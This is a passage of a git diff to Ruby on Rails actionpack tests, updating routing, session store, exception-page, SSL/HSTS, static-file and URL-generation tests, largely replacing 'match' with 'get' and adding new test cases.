     @app = ActionDispatch::Routing::RouteSet.new
     @app.append do
-      match '/hello'   => s.simple_app('fail')
-      match '/goodbye' => s.simple_app('goodbye')
+      get '/hello'   => s.simple_app('fail')
+      get '/goodbye' => s.simple_app('goodbye')
     end
 
     @app.draw do
-      match '/hello' => s.simple_app('hello')
+      get '/hello' => s.simple_app('hello')
     end
   end
 
@@ -2470,6 +2320,32 @@ class TestAppendingRoutes < ActionDispatch::IntegrationTest
   end
 end
 
+class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
+  module ::Admin
+    class StorageFilesController < ActionController::Base
+      def index
+        render :text => "admin/storage_files#index"
+      end
+    end
+  end
+
+  DefaultScopeRoutes = ActionDispatch::Routing::RouteSet.new
+  DefaultScopeRoutes.draw do
+    namespace :admin do
+      resources :storage_files, :controller => "StorageFiles"
+    end
+  end
+
+  def app
+    DefaultScopeRoutes
+  end
+
+  def test_controller_options
+    get '/admin/storage_files'
+    assert_equal "admin/storage_files#index", @response.body
+  end
+end
+
 class TestDefaultScope < ActionDispatch::IntegrationTest
   module ::Blog
     class PostsController < ActionController::Base
@@ -2532,12 +2408,12 @@ end
 class TestUriPathEscaping < ActionDispatch::IntegrationTest
   Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
     app.draw do
-      match '/:segment' => lambda { |env|
+      get '/:segment' => lambda { |env|
         path_params = env['action_dispatch.request.path_parameters']
         [200, { 'Content-Type' => 'text/plain' }, [path_params[:segment]]]
       }, :as => :segment
 
-      match '/*splat' => lambda { |env|
+      get '/*splat' => lambda { |env|
         path_params = env['action_dispatch.request.path_parameters']
         [200, { 'Content-Type' => 'text/plain' }, [path_params[:splat]]]
       }, :as => :splat
@@ -2565,3 +2441,290 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
     assert_equal 'a b/c+d', @response.body
   end
 end
+
+class TestUnicodePaths < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/ほげ" => lambda { |env|
+        [200, { 'Content-Type' => 'text/plain' }, []]
+      }, :as => :unicode_path
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  test 'recognizes unicode path' do
+    get "/#{Rack::Utils.escape("ほげ")}"
+    assert_equal "200", @response.code
+  end
+end
+
+class TestMultipleNestedController < ActionDispatch::IntegrationTest
+  module ::Foo
+    module Bar
+      class BazController < ActionController::Base
+        def index
+          render :inline => "<%= url_for :controller => '/pooh', :action => 'index' %>"
+        end
+      end
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      namespace :foo do
+        namespace :bar do
+          get "baz" => "baz#index"
+        end
+      end
+      get "pooh" => "pooh#index"
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  test "controller option which starts with '/' from multiple nested controller" do
+    get "/foo/bar/baz"
+    assert_equal "/pooh", @response.body
+  end
+end
+
+class TestTildeAndMinusPaths < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+      get "/~user" => ok
+      get "/young-and-fine" => ok
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  test 'recognizes tilde path' do
+    get "/~user"
+    assert_equal "200", @response.code
+  end
+
+  test 'recognizes minus path' do
+    get "/young-and-fine"
+    assert_equal "200", @response.code
+  end
+
+end
+
+class TestRedirectInterpolation < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+      get "/foo/:id" => redirect("/foo/bar/%{id}")
+      get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+      get "/foo/bar/:id" => ok
+    end
+  end
+
+  def app; Routes end
+
+  test "redirect escapes interpolated parameters with redirect proc" do
+    get "/foo/1%3E"
+    verify_redirect "http://www.example.com/foo/bar/1%3E"
+  end
+
+  test "redirect escapes interpolated parameters with option proc" do
+    get "/bar/1%3E"
+    verify_redirect "http://www.example.com/foo/bar/1%3E"
+  end
+
+private
+  def verify_redirect(url, status=301)
+    assert_equal status, @response.status
+    assert_equal url, @response.headers['Location']
+    assert_equal expected_redirect_body(url), @response.body
+  end
+
+  def expected_redirect_body(url)
+    %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+  end
+end
+
+class TestConstraintsAccessingParameters < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+      get "/:foo" => ok, :constraints => lambda { |r| r.params[:foo] == 'foo' }
+      get "/:bar" => ok
+    end
+  end
+
+  def app; Routes end
+
+  test "parameters are reset between constraint checks" do
+    get "/bar"
+    assert_equal nil, @request.params[:foo]
+    assert_equal "bar", @request.params[:bar]
+  end
+end
+
+class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+      get '/foo' => ok, as: :foo
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  test 'enabled when not mounted and default_url_options is empty' do
+    assert Routes.url_helpers.optimize_routes_generation?
+  end
+
+  test 'named route called as singleton method' do
+    assert_equal '/foo', Routes.url_helpers.foo_path
+  end
+
+  test 'named route called on included module' do
+    assert_equal '/foo', foo_path
+  end
+end
+
+class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
+  class CategoriesController < ActionController::Base
+    def show
+      render :text => "categories#show"
+    end
+  end
+
+  class ProductsController < ActionController::Base
+    def show
+      render :text => "products#show"
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      scope :module => "test_named_route_url_helpers" do
+        get "/categories/:id" => 'categories#show', :as => :category
+        get "/products/:id" => 'products#show', :as => :product
+      end
+    end
+  end
+
+  def app; Routes end
+
+  include Routes.url_helpers
+
+  test "url helpers do not ignore nil parameters when using non-optimized routes" do
+    Routes.stubs(:optimize_routes_generation?).returns(false)
+
+    get "/categories/1"
+    assert_response :success
+    assert_raises(ActionController::RoutingError) { product_path(nil) }
+  end
+end
+
+class TestUrlConstraints < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+      constraints :subdomain => 'admin' do
+        get '/' => ok, :as => :admin_root
+      end
+
+      scope :constraints => { :protocol => 'https://' } do
+        get '/' => ok, :as => :secure_root
+      end
+
+      get '/' => ok, :as => :alternate_root, :constraints => { :port => 8080 }
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  test "constraints are copied to defaults when using constraints method" do
+    assert_equal 'http://admin.example.com/', admin_root_url
+
+    get 'http://admin.example.com/'
+    assert_response :success
+  end
+
+  test "constraints are copied to defaults when using scope constraints hash" do
+    assert_equal 'https://www.example.com/', secure_root_url
+
+    get 'https://www.example.com/'
+    assert_response :success
+  end
+
+  test "constraints are copied to defaults when using route constraints hash" do
+    assert_equal 'http://www.example.com:8080/', alternate_root_url
+
+    get 'http://www.example.com:8080/'
+    assert_response :success
+  end
+end
+
+class TestInvalidUrls < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def show
+      render :text => "foo#show"
+    end
+  end
+
+  test "invalid UTF-8 encoding returns a 400 Bad Request" do
+    with_routing do |set|
+      set.draw do
+        get "/bar/:id", :to => redirect("/foo/show/%{id}")
+        get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show"
+        get "/foo(/:action(/:id))", :to => "test_invalid_urls/foo"
+        get "/:controller(/:action(/:id))"
+      end
+
+      get "/%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+
+      get "/foo/%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+
+      get "/foo/show/%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+
+      get "/bar/%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+    end
+  end
+end
+
+class TestOptionalRootSegments < ActionDispatch::IntegrationTest
+  stub_controllers do |routes|
+    Routes = routes
+    Routes.draw do
+      get '/(page/:page)', :to => 'pages#index', :as => :root
+    end
+  end
+
+  def app
+    Routes
+  end
+
+  include Routes.url_helpers
+
+  def test_optional_root_segments
+    get '/'
+    assert_equal 'pages#index', @response.body
+    assert_equal '/', root_path
+
+    get '/page/1'
+    assert_equal 'pages#index', @response.body
+    assert_equal '1', @request.params[:page]
+    assert_equal '/page/1', root_path('1')
+    assert_equal '/page/1', root_path(:page => '1')
+  end
+end
diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb
new file mode 100644
index 0000000000..8daf3d3f5e
--- /dev/null
+++ b/actionpack/test/dispatch/session/abstract_store_test.rb
@@ -0,0 +1,56 @@
+require 'abstract_unit'
+require 'action_dispatch/middleware/session/abstract_store'
+
+module ActionDispatch
+  module Session
+    class AbstractStoreTest < ActiveSupport::TestCase
+      class MemoryStore < AbstractStore
+        def initialize(app)
+          @sessions = {}
+          super
+        end
+
+        def get_session(env, sid)
+          sid ||= 1
+          session = @sessions[sid] ||= {}
+          [sid, session]
+        end
+
+        def set_session(env, sid, session, options)
+          @sessions[sid] = session
+        end
+      end
+
+      def test_session_is_set
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        assert Request::Session.find @env
+      end
+
+      def test_new_session_object_is_merged_with_old
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        session = Request::Session.find @env
+        session['foo'] = 'bar'
+
+        as.call(@env)
+        session1 = Request::Session.find @env
+
+        refute_equal session, session1
+        assert_equal session.to_hash, session1.to_hash
+      end
+
+      private
+      def app(&block)
+        @env = nil
+        lambda { |env| @env = env }
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
index 73e056de23..a74e165826 100644
--- a/actionpack/test/dispatch/session/cache_store_test.rb
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -30,8 +30,6 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
       session[:bar] = "baz"
       head :ok
     end
-
-    def rescue_action(e) raise end
   end
 
   def test_setting_and_getting_session_value
@@ -166,7 +164,7 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::CacheStoreTest::TestController
+          get ':action', :to => ::CacheStoreTest::TestController
         end
 
         @app = self.class.build_app(set) do |middleware|
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index 92df6967d6..631974d6c4 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -54,8 +54,6 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
       request.session_options[:renew] = true
       head :ok
     end
-
-    def rescue_action(e) raise end
   end
 
   def test_setting_session_value
@@ -319,7 +317,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
     def with_test_route_set(options = {})
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::CookieStoreTest::TestController
+          get ':action', :to => ::CookieStoreTest::TestController
         end
 
         options = { :key => SessionKey }.merge!(options)
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index 8502bc547b..03234612ab 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -31,8 +31,6 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
       session[:bar] = "baz"
       head :ok
     end
-
-    def rescue_action(e) raise end
   end
 
   begin
@@ -175,7 +173,7 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::MemCacheStoreTest::TestController
+          get ':action', :to => ::MemCacheStoreTest::TestController
         end
 
         @app = self.class.build_app(set) do |middleware|
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 42f6c7f79f..45f8fc11b3 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -2,32 +2,33 @@ require 'abstract_unit'
 
 class ShowExceptionsTest < ActionDispatch::IntegrationTest
 
-  Boomer = lambda do |env|
-    req = ActionDispatch::Request.new(env)
-    case req.path
-    when "/not_found"
-      raise ActionController::UnknownAction
-    when "/runtime_error"
-      raise RuntimeError
-    when "/method_not_allowed"
-      raise ActionController::MethodNotAllowed
-    when "/not_implemented"
-      raise ActionController::NotImplemented
-    when "/unprocessable_entity"
-      raise ActionController::InvalidAuthenticityToken
-    when "/not_found_original_exception"
-      raise ActionView::Template::Error.new('template', {}, AbstractController::ActionNotFound.new)
-    else
-      raise "puke!"
+  class Boomer
+    def call(env)
+      req = ActionDispatch::Request.new(env)
+      case req.path
+      when "/not_found"
+        raise AbstractController::ActionNotFound
+      when "/method_not_allowed"
+        raise ActionController::MethodNotAllowed
+      when "/not_found_original_exception"
+        raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+      else
+        raise "puke!"
+      end
     end
   end
 
-  ProductionApp = ActionDispatch::ShowExceptions.new(Boomer, false)
-  DevelopmentApp = ActionDispatch::ShowExceptions.new(Boomer, true)
+  ProductionApp = ActionDispatch::ShowExceptions.new(Boomer.new, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public"))
 
-  test "rescue in public from a remote ip" do
+  test "skip exceptions app if not showing exceptions" do
+    @app = ProductionApp
+    assert_raise RuntimeError do
+      get "/", {}, {'action_dispatch.show_exceptions' => false}
+    end
+  end
+
+  test "rescue with error page" do
     @app = ProductionApp
-    self.remote_addr = '208.77.188.166'
 
     get "/", {}, {'action_dispatch.show_exceptions' => true}
     assert_response 500
@@ -42,32 +43,11 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
     assert_equal "", body
   end
 
-  test "rescue locally from a local request" do
-    @app = ProductionApp
-    ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
-      self.remote_addr = ip_address
-
-      get "/", {}, {'action_dispatch.show_exceptions' => true}
-      assert_response 500
-      assert_match(/puke/, body)
-
-      get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
-      assert_response 404
-      assert_match(/#{ActionController::UnknownAction.name}/, body)
-
-      get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
-      assert_response 405
-      assert_match(/ActionController::MethodNotAllowed/, body)
-    end
-  end
-
-  test "localize public rescue message" do
-    # Change locale
+  test "localize rescue error page" do
     old_locale, I18n.locale = I18n.locale, :da
 
     begin
       @app = ProductionApp
-      self.remote_addr = '208.77.188.166'
 
       get "/", {}, {'action_dispatch.show_exceptions' => true}
       assert_response 500
@@ -81,67 +61,42 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
     end
   end
 
-  test "always rescue locally in development mode" do
-    @app = DevelopmentApp
-    self.remote_addr = '208.77.188.166'
+  test "sets the HTTP charset parameter" do
+    @app = ProductionApp
 
     get "/", {}, {'action_dispatch.show_exceptions' => true}
-    assert_response 500
-    assert_match(/puke/, body)
-
-    get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
-    assert_response 404
-    assert_match(/#{ActionController::UnknownAction.name}/, body)
-
-    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
-    assert_response 405
-    assert_match(/ActionController::MethodNotAllowed/, body)
-  end
-
-  test "does not show filtered parameters" do
-    @app = DevelopmentApp
-
-    get "/", {"foo"=>"bar"}, {'action_dispatch.show_exceptions' => true,
-      'action_dispatch.parameter_filter' => [:foo]}
-    assert_response 500
-    assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
+    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
   end
 
-  test "show registered original exception for wrapped exceptions when consider_all_requests_local is false" do
+  test "show registered original exception for wrapped exceptions" do
     @app = ProductionApp
-    self.remote_addr = '208.77.188.166'
 
     get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
     assert_response 404
     assert_match(/404 error/, body)
   end
 
-  test "show registered original exception for wrapped exceptions when consider_all_requests_local is true" do
-    @app = DevelopmentApp
+  test "calls custom exceptions app" do
+    exceptions_app = lambda do |env|
+      assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
+      assert_equal "/404", env["PATH_INFO"]
+      [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
+    end
 
+    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
     get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
     assert_response 404
-    assert_match(/AbstractController::ActionNotFound/, body)
-  end
-
-  test "show the controller name in the diagnostics template when controller name is present" do
-    @app = ProductionApp
-    get("/runtime_error", {}, {
-      'action_dispatch.show_exceptions' => true,
-      'action_dispatch.request.parameters' => {
-        'action' => 'show',
-        'id' => 'unknown',
-        'controller' => 'featured_tile'
-      }
-    })
-    assert_response 500
-    assert_match(/RuntimeError\n    in FeaturedTileController/, body)
+    assert_equal "YOU FAILED BRO", body
   end
 
-  test "sets the HTTP charset parameter" do
-    @app = DevelopmentApp
+  test "returns an empty response if custom exceptions app returns X-Cascade pass" do
+    exceptions_app = lambda do |env|
+      [404, { "X-Cascade" => "pass" }, []]
+    end
 
-    get "/", {}, {'action_dispatch.show_exceptions' => true}
-    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
+    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 405
+    assert_equal "", body
   end
 end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
new file mode 100644
index 0000000000..6f075a9074
--- /dev/null
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -0,0 +1,157 @@
+require 'abstract_unit'
+
+class SSLTest < ActionDispatch::IntegrationTest
+  def default_app
+    lambda { |env|
+      headers = {'Content-Type' => "text/html"}
+      headers['Set-Cookie'] = "id=1; path=/\ntoken=abc; path=/; secure; HttpOnly"
+      [200, headers, ["OK"]]
+    }
+  end
+
+  def app
+    @app ||= ActionDispatch::SSL.new(default_app)
+  end
+  attr_writer :app
+
+  def test_allows_https_url
+    get "https://example.org/path?key=value"
+    assert_response :success
+  end
+
+  def test_allows_https_proxy_header_url
+    get "http://example.org/", {}, 'HTTP_X_FORWARDED_PROTO' => "https"
+    assert_response :success
+  end
+
+  def test_redirects_http_to_https
+    get "http://example.org/path?key=value"
+    assert_response :redirect
+    assert_equal "https://example.org/path?key=value",
+      response.headers['Location']
+  end
+
+  def test_hsts_header_by_default
+    get "https://example.org/"
+    assert_equal "max-age=31536000",
+      response.headers['Strict-Transport-Security']
+  end
+
+  def test_hsts_header
+    self.app = ActionDispatch::SSL.new(default_app, :hsts => true)
+    get "https://example.org/"
+    assert_equal "max-age=31536000",
+      response.headers['Strict-Transport-Security']
+  end
+
+  def test_disable_hsts_header
+    self.app = ActionDispatch::SSL.new(default_app, :hsts => false)
+    get "https://example.org/"
+    refute response.headers['Strict-Transport-Security']
+  end
+
+  def test_hsts_expires
+    self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 500 })
+    get "https://example.org/"
+    assert_equal "max-age=500",
+      response.headers['Strict-Transport-Security']
+  end
+
+  def test_hsts_include_subdomains
+    self.app = ActionDispatch::SSL.new(default_app, :hsts => { :subdomains => true })
+    get "https://example.org/"
+    assert_equal "max-age=31536000; includeSubDomains",
+      response.headers['Strict-Transport-Security']
+  end
+
+  def test_flag_cookies_as_secure
+    get "https://example.org/"
+    assert_equal ["id=1; path=/; secure", "token=abc; path=/; secure; HttpOnly" ],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
+  def test_flag_cookies_as_secure_at_end_of_line
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      headers = {
+        'Content-Type' => "text/html",
+        'Set-Cookie' => "problem=def; path=/; HttpOnly; secure"
+      }
+      [200, headers, ["OK"]]
+    })
+
+    get "https://example.org/"
+    assert_equal ["problem=def; path=/; HttpOnly; secure"],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
+  def test_flag_cookies_as_secure_with_more_spaces_before
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      headers = {
+        'Content-Type' => "text/html",
+        'Set-Cookie' => "problem=def; path=/; HttpOnly;  secure"
+      }
+      [200, headers, ["OK"]]
+    })
+
+    get "https://example.org/"
+    assert_equal ["problem=def; path=/; HttpOnly;  secure"],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
+  def test_flag_cookies_as_secure_with_more_spaces_after
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      headers = {
+        'Content-Type' => "text/html",
+        'Set-Cookie' => "problem=def; path=/; secure;  HttpOnly"
+      }
+      [200, headers, ["OK"]]
+    })
+
+    get "https://example.org/"
+    assert_equal ["problem=def; path=/; secure;  HttpOnly"],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
+  def test_no_cookies
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      [200, {'Content-Type' => "text/html"}, ["OK"]]
+    })
+    get "https://example.org/"
+    assert !response.headers['Set-Cookie']
+  end
+
+  def test_redirect_to_host
+    self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
+    get "http://example.org/path?key=value"
+    assert_equal "https://ssl.example.org/path?key=value",
+      response.headers['Location']
+  end
+
+  def test_redirect_to_port
+    self.app = ActionDispatch::SSL.new(default_app, :port => 8443)
+    get "http://example.org/path?key=value"
+    assert_equal "https://example.org:8443/path?key=value",
+      response.headers['Location']
+  end
+
+  def test_redirect_to_host_and_port
+    self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org", :port => 8443)
+    get "http://example.org/path?key=value"
+    assert_equal "https://ssl.example.org:8443/path?key=value",
+      response.headers['Location']
+  end
+
+  def test_redirect_to_secure_host_when_on_subdomain
+    self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
+    get "http://ssl.example.org/path?key=value"
+    assert_equal "https://ssl.example.org/path?key=value",
+      response.headers['Location']
+  end
+
+  def test_redirect_to_secure_subdomain_when_on_deep_subdomain
+    self.app = ActionDispatch::SSL.new(default_app, :host => "example.co.uk")
+    get "http://double.rainbow.what.does.it.mean.example.co.uk/path?key=value"
+    assert_equal "https://example.co.uk/path?key=value",
+      response.headers['Location']
+  end
+end
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index 9f3cbd19ef..112f470786 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -1,10 +1,16 @@
+# encoding: utf-8
 require 'abstract_unit'
+require 'rbconfig'
 
 module StaticTests
   def test_serves_dynamic_content
     assert_equal "Hello, World!", get("/nofile").body
   end
 
+  def test_handles_urls_with_bad_encoding
+    assert_equal "Hello, World!", get("/doorkeeper%E3E4").body
+  end
+
   def test_sets_cache_control
     response = get("/index.html")
     assert_html "/index.html", response
@@ -30,6 +36,91 @@ module StaticTests
     assert_html "/foo/index.html", get("/foo")
   end
 
+  def test_served_static_file_with_non_english_filename
+    assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
+  end
+
+
+  def test_serves_static_file_with_exclamation_mark_in_filename
+    with_static_file "/foo/foo!bar.html" do |file|
+      assert_html file, get("/foo/foo%21bar.html")
+      assert_html file, get("/foo/foo!bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_dollar_sign_in_filename
+    with_static_file "/foo/foo$bar.html" do |file|
+      assert_html file, get("/foo/foo%24bar.html")
+      assert_html file, get("/foo/foo$bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_ampersand_in_filename
+    with_static_file "/foo/foo&bar.html" do |file|
+      assert_html file, get("/foo/foo%26bar.html")
+      assert_html file, get("/foo/foo&bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_apostrophe_in_filename
+    with_static_file "/foo/foo'bar.html" do |file|
+      assert_html file, get("/foo/foo%27bar.html")
+      assert_html file, get("/foo/foo'bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_parentheses_in_filename
+    with_static_file "/foo/foo(bar).html" do |file|
+      assert_html file, get("/foo/foo%28bar%29.html")
+      assert_html file, get("/foo/foo(bar).html")
+    end
+  end
+
+  def test_serves_static_file_with_plus_sign_in_filename
+    with_static_file "/foo/foo+bar.html" do |file|
+      assert_html file, get("/foo/foo%2Bbar.html")
+      assert_html file, get("/foo/foo+bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_comma_in_filename
+    with_static_file "/foo/foo,bar.html" do |file|
+      assert_html file, get("/foo/foo%2Cbar.html")
+      assert_html file, get("/foo/foo,bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_semi_colon_in_filename
+    with_static_file "/foo/foo;bar.html" do |file|
+      assert_html file, get("/foo/foo%3Bbar.html")
+      assert_html file, get("/foo/foo;bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_at_symbol_in_filename
+    with_static_file "/foo/foo@bar.html" do |file|
+      assert_html file, get("/foo/foo%40bar.html")
+      assert_html file, get("/foo/foo@bar.html")
+    end
+  end
+
+  # Windows doesn't allow \ / : * ? " < > | in filenames
+  unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+    def test_serves_static_file_with_colon
+      with_static_file "/foo/foo:bar.html" do |file|
+        assert_html file, get("/foo/foo%3Abar.html")
+        assert_html file, get("/foo/foo:bar.html")
+      end
+    end
+
+    def test_serves_static_file_with_asterisk
+      with_static_file "/foo/foo*bar.html" do |file|
+        assert_html file, get("/foo/foo%2Abar.html")
+        assert_html file, get("/foo/foo*bar.html")
+      end
+    end
+  end
+
   private
 
     def assert_html(body, response)
@@ -40,6 +131,14 @@ module StaticTests
     def get(path)
       Rack::MockRequest.new(@app).request("GET", path)
     end
+
+    def with_static_file(file)
+      path = "#{FIXTURE_LOAD_PATH}/public" + file
+      File.open(path, "wb+") { |f| f.write(file) }
+      yield file
+    ensure
+      File.delete(path)
+    end
 end
 
 class StaticTest < ActiveSupport::TestCase
@@ -53,4 +152,4 @@ class StaticTest < ActiveSupport::TestCase
   end
 
   include StaticTests
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
index 4ee1d61146..6047631ba3 100644
--- a/actionpack/test/dispatch/test_request_test.rb
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -55,6 +55,13 @@ class TestRequestTest < ActiveSupport::TestCase
     assert_cookies({"user_name" => "david"}, req.cookie_jar)
   end
 
+  test "does not complain when Rails.application is nil" do
+    Rails.stubs(:application).returns(nil)
+    req = ActionDispatch::TestRequest.new
+
+    assert_equal false, req.env.empty?
+  end
+
   private
     def assert_cookies(expected, cookie_jar)
       assert_equal(expected, cookie_jar.instance_variable_get("@cookies"))
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index 7e4a1519fb..e69c1fbed4 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -12,12 +12,10 @@ module ActionDispatch
       uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new)
       assert_equal 'foo', uf.original_filename
     end
-    
-    if "ruby".encoding_aware?
-      def test_filename_should_be_in_utf_8
-        uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new)
-        assert_equal "UTF-8", uf.original_filename.encoding.to_s
-      end
+
+    def test_filename_should_be_in_utf_8
+      uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new)
+      assert_equal "UTF-8", uf.original_filename.encoding.to_s
     end
 
     def test_content_type
@@ -67,6 +65,12 @@ module ActionDispatch
       end
     end
 
+    def test_delegate_eof_to_tempfile
+      tf = Class.new { def eof?; true end; }
+      uf = Http::UploadedFile.new(:tempfile => tf.new)
+      assert uf.eof?
+    end
+
     def test_respond_to?
       tf = Class.new { def read; yield end }
       uf = Http::UploadedFile.new(:tempfile => tf.new)
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index 2b54bc62b0..e56e8ddc57 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
 module TestUrlGeneration
   class WithMountPoint < ActionDispatch::IntegrationTest
     Routes = ActionDispatch::Routing::RouteSet.new
-    Routes.draw { match "/foo", :to => "my_route_generating#index", :as => :foo }
+    include Routes.url_helpers
 
     class ::MyRouteGeneratingController < ActionController::Base
       include Routes.url_helpers
@@ -12,7 +12,11 @@ module TestUrlGeneration
       end
     end
 
-    include Routes.url_helpers
+    Routes.draw do
+      get "/foo", :to => "my_route_generating#index", :as => :foo
+
+      mount MyRouteGeneratingController.action(:index), at: '/bar'
+    end
 
     def _routes
       Routes
@@ -30,11 +34,16 @@ module TestUrlGeneration
       assert_equal "/bar/foo", foo_path(:script_name => "/bar")
     end
 
